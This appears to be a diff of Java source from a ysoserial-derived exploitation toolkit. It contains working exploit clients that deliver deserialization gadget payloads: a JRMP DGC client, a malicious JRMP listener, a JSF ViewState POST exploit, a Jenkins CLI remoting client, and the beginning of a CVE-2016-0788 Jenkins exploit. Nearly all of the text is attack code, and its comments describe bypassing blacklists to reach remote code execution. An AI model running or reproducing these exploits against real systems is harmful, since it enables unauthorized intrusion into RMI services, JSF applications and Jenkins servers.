* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;)) * - not deserializing anything (so you don't get yourself exploited ;))
* *
* @author mbechler * @author mbechler
*/ */
@SuppressWarnings({ @SuppressWarnings({
"restriction" "restriction"
}) })
public class JRMPClient { public class JRMPClient {
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
if (args.length < 5) { if (args.length < 5) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <args...>"); System.err.println(JRMPClient.class.getName() + " <host> <port> <args...>");
System.exit(-1); System.exit(-1);
} }
String hostname = args[0]; String hostname = args[0];
int port = Integer.parseInt(args[1]); int port = Integer.parseInt(args[1]);
// 去除前两个参数 // 去除前两个参数
String[] newArray = new String[args.length - 2]; String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length); System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial.run(newArray); ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD; Object payloadObject = ysoserial.PAYLOAD;
try { try {
System.err.printf("* Opening JRMP socket %s:%d%n", hostname, port); System.err.printf("* Opening JRMP socket %s:%d%n", hostname, port);
makeDGCCall(hostname, port, payloadObject); makeDGCCall(hostname, port, payloadObject);
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
} }
public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException { public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException {
Socket s = null; Socket s = null;
DataOutputStream dos = null; DataOutputStream dos = null;
try { try {
s = SocketFactory.getDefault().createSocket(hostname, port); s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true); s.setKeepAlive(true);
s.setTcpNoDelay(true); s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream(); OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os); dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic); dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version); dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol); dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call); dos.write(TransportConstants.Call);
final ObjectOutputStream objOut = new MarshalOutputStream(dos); final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objOut.writeLong(2); // DGC objOut.writeLong(2); // DGC
objOut.writeInt(0); objOut.writeInt(0);
objOut.writeLong(0); objOut.writeLong(0);
objOut.writeShort(0); objOut.writeShort(0);
objOut.writeInt(1); // dirty objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L); objOut.writeLong(-669196253586618813L);
objOut.writeObject(payloadObject); objOut.writeObject(payloadObject);
os.flush(); os.flush();
} finally { } finally {
if (dos != null) { if (dos != null) {
dos.close(); dos.close();
} }
if (s != null) { if (s != null) {
s.close(); s.close();
} }
} }
} }
static final class MarshalOutputStream extends ObjectOutputStream { static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl; private URL sendUrl;
public MarshalOutputStream(OutputStream out, URL u) throws IOException { public MarshalOutputStream(OutputStream out, URL u) throws IOException {
super(out); super(out);
this.sendUrl = u; this.sendUrl = u;
} }
MarshalOutputStream(OutputStream out) throws IOException { MarshalOutputStream(OutputStream out) throws IOException {
super(out); super(out);
} }
@Override @Override
protected void annotateClass(Class<?> cl) throws IOException { protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) { if (this.sendUrl != null) {
writeObject(this.sendUrl.toString()); writeObject(this.sendUrl.toString());
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) { } else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null); writeObject(null);
} else { } else {
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs(); URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
StringBuilder cb = new StringBuilder(); StringBuilder cb = new StringBuilder();
for (URL u : us) { for (URL u : us) {
cb.append(u.toString()); cb.append(u.toString());
} }
writeObject(cb.toString()); writeObject(cb.toString());
} }
} }
/** /**
* Serializes a location from which to load the specified class. * Serializes a location from which to load the specified class.
*/ */
@Override @Override
protected void annotateProxyClass(Class<?> cl) throws IOException { protected void annotateProxyClass(Class<?> cl) throws IOException {
annotateClass(cl); annotateClass(cl);
} }
} }
} }
@@ -1,289 +1,289 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassClassPath; import javassist.ClassClassPath;
import javassist.ClassPool; import javassist.ClassPool;
import javassist.CtClass; import javassist.CtClass;
import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.LogManager;
import sun.rmi.transport.TransportConstants; import sun.rmi.transport.TransportConstants;
import javax.management.BadAttributeValueExpException; import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory; import javax.net.ServerSocketFactory;
import java.io.*; import java.io.*;
import java.net.*; import java.net.*;
import java.rmi.MarshalException; import java.rmi.MarshalException;
import java.rmi.server.ObjID; import java.rmi.server.ObjID;
import java.rmi.server.UID; import java.rmi.server.UID;
import java.util.Arrays; import java.util.Arrays;
/** /**
* Generic JRMP listener * Generic JRMP listener
* <p> * <p>
* Opens up an JRMP listener that will deliver the specified payload to any * Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call. * client connecting to it and making a call.
* *
* @author mbechler * @author mbechler
*/ */
@SuppressWarnings({ @SuppressWarnings({
"restriction" "restriction"
}) })
public class JRMPListener implements Runnable { public class JRMPListener implements Runnable {
private static final Logger log = LogManager.getLogger(JRMPListener.class); private static final Logger log = LogManager.getLogger(JRMPListener.class);
private final int port; private final int port;
private final Object payloadObject; private final Object payloadObject;
private final ServerSocket ss; private final ServerSocket ss;
private final Object waitLock = new Object(); private final Object waitLock = new Object();
private boolean exit; private boolean exit;
private boolean hadConnection; private boolean hadConnection;
private URL classpathUrl; private URL classpathUrl;
public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException { public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
this.port = port; this.port = port;
this.payloadObject = payloadObject; this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
} }
public JRMPListener(int port, String className, URL classpathUrl) throws IOException { public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
this.port = port; this.port = port;
this.payloadObject = makeDummyObject(className); this.payloadObject = makeDummyObject(className);
this.classpathUrl = classpathUrl; this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
} }
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
if (args.length < 5) { if (args.length < 5) {
System.err.println(JRMPListener.class.getName() + " <port> <args...> "); System.err.println(JRMPListener.class.getName() + " <port> <args...> ");
System.exit(-1); System.exit(-1);
return; return;
} }
// 去除第一个参数 // 去除第一个参数
String[] newArray = new String[args.length - 1]; String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length); System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial.run(newArray); ysoserial.run(newArray);
final Object payloadObject = ysoserial.PAYLOAD; final Object payloadObject = ysoserial.PAYLOAD;
try { try {
int port = Integer.parseInt(args[0]); int port = Integer.parseInt(args[0]);
System.err.println("* Opening JRMP listener on " + port); System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject); JRMPListener c = new JRMPListener(port, payloadObject);
c.run(); c.run();
} catch (Exception e) { } catch (Exception e) {
System.err.println("Listener error"); System.err.println("Listener error");
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
} }
@SuppressWarnings({"deprecation"}) @SuppressWarnings({"deprecation"})
protected static Object makeDummyObject(String className) { protected static Object makeDummyObject(String className) {
try { try {
ClassLoader isolation = new ClassLoader() { ClassLoader isolation = new ClassLoader() {
}; };
ClassPool cp = new ClassPool(); ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class)); cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName()); CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className); clazz.setName(className);
return clazz.toClass(isolation).newInstance(); return clazz.toClass(isolation).newInstance();
} catch (Exception e) { } catch (Exception e) {
log.error("e: ", e); log.error("e: ", e);
return new byte[0]; return new byte[0];
} }
} }
public void waitFor(int i) { public void waitFor(int i) {
try { try {
if (this.hadConnection) { if (this.hadConnection) {
return; return;
} }
System.err.println("Waiting for connection"); System.err.println("Waiting for connection");
synchronized (this.waitLock) { synchronized (this.waitLock) {
this.waitLock.wait(i); this.waitLock.wait(i);
} }
} catch (InterruptedException ignored) { } catch (InterruptedException ignored) {
} }
} }
public void close() { public void close() {
this.exit = true; this.exit = true;
try { try {
this.ss.close(); this.ss.close();
} catch (IOException ignored) { } catch (IOException ignored) {
} }
synchronized (this.waitLock) { synchronized (this.waitLock) {
this.waitLock.notify(); this.waitLock.notify();
} }
} }
public void run() { public void run() {
try { try {
Socket s = null; Socket s = null;
try { try {
while (!this.exit && (s = this.ss.accept()) != null) { while (!this.exit && (s = this.ss.accept()) != null) {
try { try {
s.setSoTimeout(5000); s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote); System.err.println("Have connection from " + remote);
InputStream is = s.getInputStream(); InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper) // Read magic (or HTTP wrapper)
bufIn.mark(4); bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn); DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt(); int magic = in.readInt();
short version = in.readShort(); short version = in.readShort();
if (magic != TransportConstants.Magic || version != TransportConstants.Version) { if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
s.close(); s.close();
continue; continue;
} }
OutputStream sockOut = s.getOutputStream(); OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut); DataOutputStream out = new DataOutputStream(bufOut);
byte protocol = in.readByte(); byte protocol = in.readByte();
switch (protocol) { switch (protocol) {
case TransportConstants.StreamProtocol: case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck); out.writeByte(TransportConstants.ProtocolAck);
if (remote.getHostName() != null) { if (remote.getHostName() != null) {
out.writeUTF(remote.getHostName()); out.writeUTF(remote.getHostName());
} else { } else {
out.writeUTF(remote.getAddress().toString()); out.writeUTF(remote.getAddress().toString());
} }
out.writeInt(remote.getPort()); out.writeInt(remote.getPort());
out.flush(); out.flush();
in.readUTF(); in.readUTF();
in.readInt(); in.readInt();
case TransportConstants.SingleOpProtocol: case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject); doMessage(s, in, out, this.payloadObject);
break; break;
case TransportConstants.MultiplexProtocol: case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol"); System.err.println("Unsupported protocol");
s.close(); s.close();
continue; continue;
default: default:
} }
bufOut.flush(); bufOut.flush();
out.flush(); out.flush();
} catch (InterruptedException e) { } catch (InterruptedException e) {
return; return;
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
} finally { } finally {
System.err.println("Closing connection"); System.err.println("Closing connection");
s.close(); s.close();
} }
} }
} finally { } finally {
if (s != null) { if (s != null) {
s.close(); s.close();
} }
if (this.ss != null) { if (this.ss != null) {
this.ss.close(); this.ss.close();
} }
} }
} catch (SocketException ignored) { } catch (SocketException ignored) {
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
} }
private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception { private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
System.err.println("Reading message..."); System.err.println("Reading message...");
int op = in.read(); int op = in.read();
switch (op) { switch (op) {
case TransportConstants.Call: case TransportConstants.Call:
// service incoming RMI call // service incoming RMI call
doCall(in, out, payload); doCall(in, out, payload);
break; break;
case TransportConstants.Ping: case TransportConstants.Ping:
// send ack for ping // send ack for ping
out.writeByte(TransportConstants.PingAck); out.writeByte(TransportConstants.PingAck);
break; break;
case TransportConstants.DGCAck: case TransportConstants.DGCAck:
break; break;
default: default:
throw new IOException("unknown transport op " + op); throw new IOException("unknown transport op " + op);
} }
s.close(); s.close();
} }
private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception { private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) { ObjectInputStream ois = new ObjectInputStream(in) {
@Override @Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException { protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) { if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class; return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) { } else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class; return ObjID.class;
} else if ("java.rmi.server.UID".equals(desc.getName())) { } else if ("java.rmi.server.UID".equals(desc.getName())) {
return UID.class; return UID.class;
} }
throw new IOException("Not allowed to read object"); throw new IOException("Not allowed to read object");
} }
}; };
ObjID read; ObjID read;
try { try {
read = ObjID.read(ois); read = ObjID.read(ois);
} catch (java.io.IOException e) { } catch (java.io.IOException e) {
throw new MarshalException("unable to read objID", e); throw new MarshalException("unable to read objID", e);
} }
if (read.hashCode() == 2) { if (read.hashCode() == 2) {
ois.readInt(); // method ois.readInt(); // method
ois.readLong(); // hash ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject())); System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
} }
System.err.println("Sending return with payload for obj " + read); System.err.println("Sending return with payload for obj " + read);
out.writeByte(TransportConstants.Return);// transport op out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn); oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos); new UID().write(oos);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null); BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val", payload); Reflections.setFieldValue(ex, "val", payload);
oos.writeObject(ex); oos.writeObject(ex);
oos.flush(); oos.flush();
out.flush(); out.flush();
this.hadConnection = true; this.hadConnection = true;
synchronized (this.waitLock) { synchronized (this.waitLock) {
this.waitLock.notifyAll(); this.waitLock.notifyAll();
} }
} }
public static class Dummy implements Serializable { public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
} }
} }
+79 -79
View File
@@ -1,79 +1,79 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.Config.ysoserial;
import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream; import java.io.ObjectOutputStream;
import java.io.OutputStream; import java.io.OutputStream;
import java.net.HttpURLConnection; import java.net.HttpURLConnection;
import java.net.URL; import java.net.URL;
import java.net.URLConnection; import java.net.URLConnection;
import java.net.URLEncoder; import java.net.URLEncoder;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
/** /**
* JSF view state exploit * JSF view state exploit
* <p> * <p>
* Delivers a gadget payload via JSF ViewState token. * Delivers a gadget payload via JSF ViewState token.
* <p> * <p>
* This will only work if ViewState encryption/mac is disabled. * This will only work if ViewState encryption/mac is disabled.
* <p> * <p>
* While it has been long known that client side state saving * While it has been long known that client side state saving
* with encryption disabled leads to RCE via EL injection, * with encryption disabled leads to RCE via EL injection,
* this of course also works with deserialization gadgets. * this of course also works with deserialization gadgets.
* <p> * <p>
* Also, it turns out that MyFaces is vulnerable to this even when * Also, it turns out that MyFaces is vulnerable to this even when
* using server-side state saving * using server-side state saving
* (yes, please, let's (de-)serialize a String as an Object). * (yes, please, let's (de-)serialize a String as an Object).
* *
* @author mbechler * @author mbechler
*/ */
public class JSF { public class JSF {
public static void main(String[] args) { public static void main(String[] args) {
if (args.length < 3) { if (args.length < 3) {
System.err.println(JSF.class.getName() + " <view_url> <args...>"); System.err.println(JSF.class.getName() + " <view_url> <args...>");
System.exit(-1); System.exit(-1);
} }
try { try {
URL u = new URL(args[0]); URL u = new URL(args[0]);
// 去除前两个参数 // 去除前两个参数
String[] newArray = new String[args.length - 1]; String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length); System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial.run(newArray); ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD; Object payloadObject = ysoserial.PAYLOAD;
URLConnection c = u.openConnection(); URLConnection c = u.openConnection();
if (!(c instanceof HttpURLConnection)) { if (!(c instanceof HttpURLConnection)) {
throw new IllegalArgumentException("Not a HTTP url"); throw new IllegalArgumentException("Not a HTTP url");
} }
HttpURLConnection hc = (HttpURLConnection) c; HttpURLConnection hc = (HttpURLConnection) c;
hc.setDoOutput(true); hc.setDoOutput(true);
hc.setRequestMethod("POST"); hc.setRequestMethod("POST");
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
OutputStream os = hc.getOutputStream(); OutputStream os = hc.getOutputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos); ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payloadObject); oos.writeObject(payloadObject);
oos.close(); oos.close();
byte[] data = bos.toByteArray(); byte[] data = bos.toByteArray();
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
os.write(requestBody.getBytes(StandardCharsets.US_ASCII)); os.write(requestBody.getBytes(StandardCharsets.US_ASCII));
os.close(); os.close();
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
} }
} }
@@ -1,119 +1,119 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable; import hudson.remoting.Callable;
import hudson.remoting.Channel; import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode; import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder; import hudson.remoting.ChannelBuilder;
import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.LogManager;
import javax.net.SocketFactory; import javax.net.SocketFactory;
import java.io.DataOutputStream; import java.io.DataOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.OutputStream; import java.io.OutputStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.net.*; import java.net.*;
import java.util.concurrent.ExecutorService; import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors; import java.util.concurrent.Executors;
/** /**
* Jenkins CLI client * Jenkins CLI client
* <p> * <p>
* Jenkins unfortunately is still using a custom serialization based * Jenkins unfortunately is still using a custom serialization based
* protocol for remote communications only protected by a blacklisting * protocol for remote communications only protected by a blacklisting
* application level filter. * application level filter.
* <p> * <p>
* This is a generic client delivering a gadget chain payload via that protocol. * This is a generic client delivering a gadget chain payload via that protocol.
* *
* @author mbechler * @author mbechler
*/ */
public class JenkinsCLI { public class JenkinsCLI {
private static final Logger log = LogManager.getLogger(JenkinsCLI.class); private static final Logger log = LogManager.getLogger(JenkinsCLI.class);
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
if (args.length < 5) { if (args.length < 5) {
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <args...>"); System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <args...>");
System.exit(-1); System.exit(-1);
} }
String jenkinsUrl = args[0]; String jenkinsUrl = args[0];
// 去除前一个参数 // 去除前一个参数
String[] newArray = new String[args.length - 1]; String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length); System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial.run(newArray); ysoserial.run(newArray);
Object payloadObject = ysoserial.PAYLOAD; Object payloadObject = ysoserial.PAYLOAD;
Channel c = null; Channel c = null;
try { try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa); c = JenkinsCLI.openChannel(isa);
c.call(getPropertyCallable(payloadObject)); c.call(getPropertyCallable(payloadObject));
} catch (Throwable e) { } catch (Throwable e) {
log.error(String.valueOf(e)); log.error(String.valueOf(e));
} finally { } finally {
if (c != null) { if (c != null) {
try { try {
c.close(); c.close();
} catch (IOException e) { } catch (IOException e) {
e.printStackTrace(System.err); e.printStackTrace(System.err);
} }
} }
} }
} }
public static Callable<?, ?> getPropertyCallable(final Object prop) public static Callable<?, ?> getPropertyCallable(final Object prop)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons); Reflections.setAccessible(reqCons);
Object getJarLoader = reqCons Object getJarLoader = reqCons
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{ .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{
prop prop
}); });
return (Callable<?, ?>) getJarLoader; return (Callable<?, ?>) getJarLoader;
} }
public static InetSocketAddress getCliPort(String jenkinsUrl) throws IOException { public static InetSocketAddress getCliPort(String jenkinsUrl) throws IOException {
URL u = new URL(jenkinsUrl); URL u = new URL(jenkinsUrl);
URLConnection conn = u.openConnection(); URLConnection conn = u.openConnection();
if (!(conn instanceof HttpURLConnection)) { if (!(conn instanceof HttpURLConnection)) {
System.err.println("Not a HTTP URL"); System.err.println("Not a HTTP URL");
throw new MalformedURLException(); throw new MalformedURLException();
} }
HttpURLConnection hc = (HttpURLConnection) conn; HttpURLConnection hc = (HttpURLConnection) conn;
if (hc.getResponseCode() >= 400) { if (hc.getResponseCode() >= 400) {
System.err.println("* Error connection to jenkins HTTP " + u); System.err.println("* Error connection to jenkins HTTP " + u);
} }
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
return new InetSocketAddress(u.getHost(), clip); return new InetSocketAddress(u.getHost(), clip);
} }
public static Channel openChannel(InetSocketAddress isa) throws IOException { public static Channel openChannel(InetSocketAddress isa) throws IOException {
System.err.println("* Opening socket " + isa); System.err.println("* Opening socket " + isa);
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true); s.setKeepAlive(true);
s.setTcpNoDelay(true); s.setTcpNoDelay(true);
System.err.println("* Opening channel"); System.err.println("* Opening channel");
OutputStream outputStream = s.getOutputStream(); OutputStream outputStream = s.getOutputStream();
DataOutputStream dos = new DataOutputStream(outputStream); DataOutputStream dos = new DataOutputStream(outputStream);
dos.writeUTF("Protocol:CLI-connect"); dos.writeUTF("Protocol:CLI-connect");
ExecutorService cp = Executors.newCachedThreadPool(r -> { ExecutorService cp = Executors.newCachedThreadPool(r -> {
Thread t = new Thread(r, "Channel"); Thread t = new Thread(r, "Channel");
t.setDaemon(true); t.setDaemon(true);
return t; return t;
}); });
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
System.err.println("* Channel open"); System.err.println("* Channel open");
return c; return c;
} }
} }
@@ -1,202 +1,200 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.JRMPListener; import com.qi4l.JYso.gadgets.JRMPListener;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable; import hudson.remoting.Callable;
import hudson.remoting.Channel; import hudson.remoting.Channel;
import hudson.remoting.JarLoader; import hudson.remoting.JarLoader;
import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.LogManager;
import sun.rmi.server.Util; import sun.rmi.server.Util;
import sun.rmi.transport.TransportConstants; import sun.rmi.transport.TransportConstants;
import javax.net.SocketFactory; import javax.net.SocketFactory;
import java.io.DataOutputStream; import java.io.DataOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.ObjectOutputStream; import java.io.ObjectOutputStream;
import java.io.OutputStream; import java.io.OutputStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.net.InetSocketAddress; import java.net.InetSocketAddress;
import java.net.Socket; import java.net.Socket;
import java.rmi.activation.ActivationDesc; import java.rmi.activation.ActivationDesc;
import java.rmi.activation.ActivationID; import java.rmi.activation.ActivationID;
import java.rmi.activation.ActivationInstantiator; import java.rmi.activation.ActivationInstantiator;
/** /**
* CVE-2016-0788 exploit (1) * CVE-2016-0788 exploit (1)
* <p> * <p>
* 1. delivers a com.qi4l.JYso.exploit.JRMPListener payload to jenkins via it's remoting protocol. * 1. delivers a com.qi4l.JYso.exploit.JRMPListener payload to jenkins via it's remoting protocol.
* 2. that payload causes the remote server to open up an JRMP listener (and export an object). * 2. that payload causes the remote server to open up an JRMP listener (and export an object).
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload. * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
* <p> * <p>
* Extra twist: * Extra twist:
* The well-known objects exported by the listener use the system classloader which usually * The well-known objects exported by the listener use the system classloader which usually
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
* (which is using jenkins' classloader) that typically is properly randomized. * (which is using jenkins' classloader) that typically is properly randomized.
* Fortunately - for the exploiting party - there is also a gadget that allows to leak * Fortunately - for the exploiting party - there is also a gadget that allows to leak
* that identifier via an exception. * that identifier via an exception.
* *
* @author mbechler * @author mbechler
*/ */
@SuppressWarnings({ @SuppressWarnings({
"restriction" "restriction"
}) })
public class JenkinsListener { public class JenkinsListener {
private static final Logger log = LogManager.getLogger(JenkinsListener.class); private static final Logger log = LogManager.getLogger(JenkinsListener.class);
public static void main(final String[] args) { public static void main(final String[] args) {
if (args.length < 5) { if (args.length < 5) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <args...> "); System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <args...> ");
System.exit(-1); System.exit(-1);
} }
String jenkinsUrl = args[0]; String jenkinsUrl = args[0];
int jrmpPort = 12345; int jrmpPort = 12345;
Channel c = null; Channel c = null;
try { try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa); c = JenkinsCLI.openChannel(isa);
Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours")); Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
InvocationHandler remote = Proxy.getInvocationHandler(call); InvocationHandler remote = Proxy.getInvocationHandler(call);
